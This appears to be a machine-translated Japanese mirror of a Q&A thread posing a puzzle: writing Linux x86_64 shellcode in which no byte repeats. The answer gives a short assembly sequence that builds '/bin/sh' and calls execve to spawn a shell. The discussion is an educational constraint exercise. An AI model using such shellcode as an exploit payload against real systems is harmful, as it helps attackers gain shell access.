web-dev-qa-db-ja.com

課題:一意のバイトを持つシェルコード

一意のバイトのみを持つ(小さな)シェルコードを持つことは可能ですか?

これまでのところ、オンラインで見つけることができる最小のシェルコードはLinux x86では19バイトであることに気付きましたが、特に「/ bin/sh」の「/」は繰り返しバイトを実行し、一部のオペコードにも繰り返しバイトが含まれています。あなたができるx86_64の素晴らしいトリックに気づきました

mov rax, 0xFF978CD091969DD1 ; garbage at first look
neg rax                     ; rax = /bin/sh

しかし、それでもオペコードからのいくつかのバイトが繰り返されます。 x86またはx86_64のいずれかの解決策を知っている人はいますか?

1
Alex

条件を尊重し、非常に短い間にこれを思いついた:

mov rbx, 0x68732f6e696221
or r8b, 0xe
add rbx, r8
Push rbx    
Push rsp
pop rdi
mov al, 0x3b
Syscall
0
Alex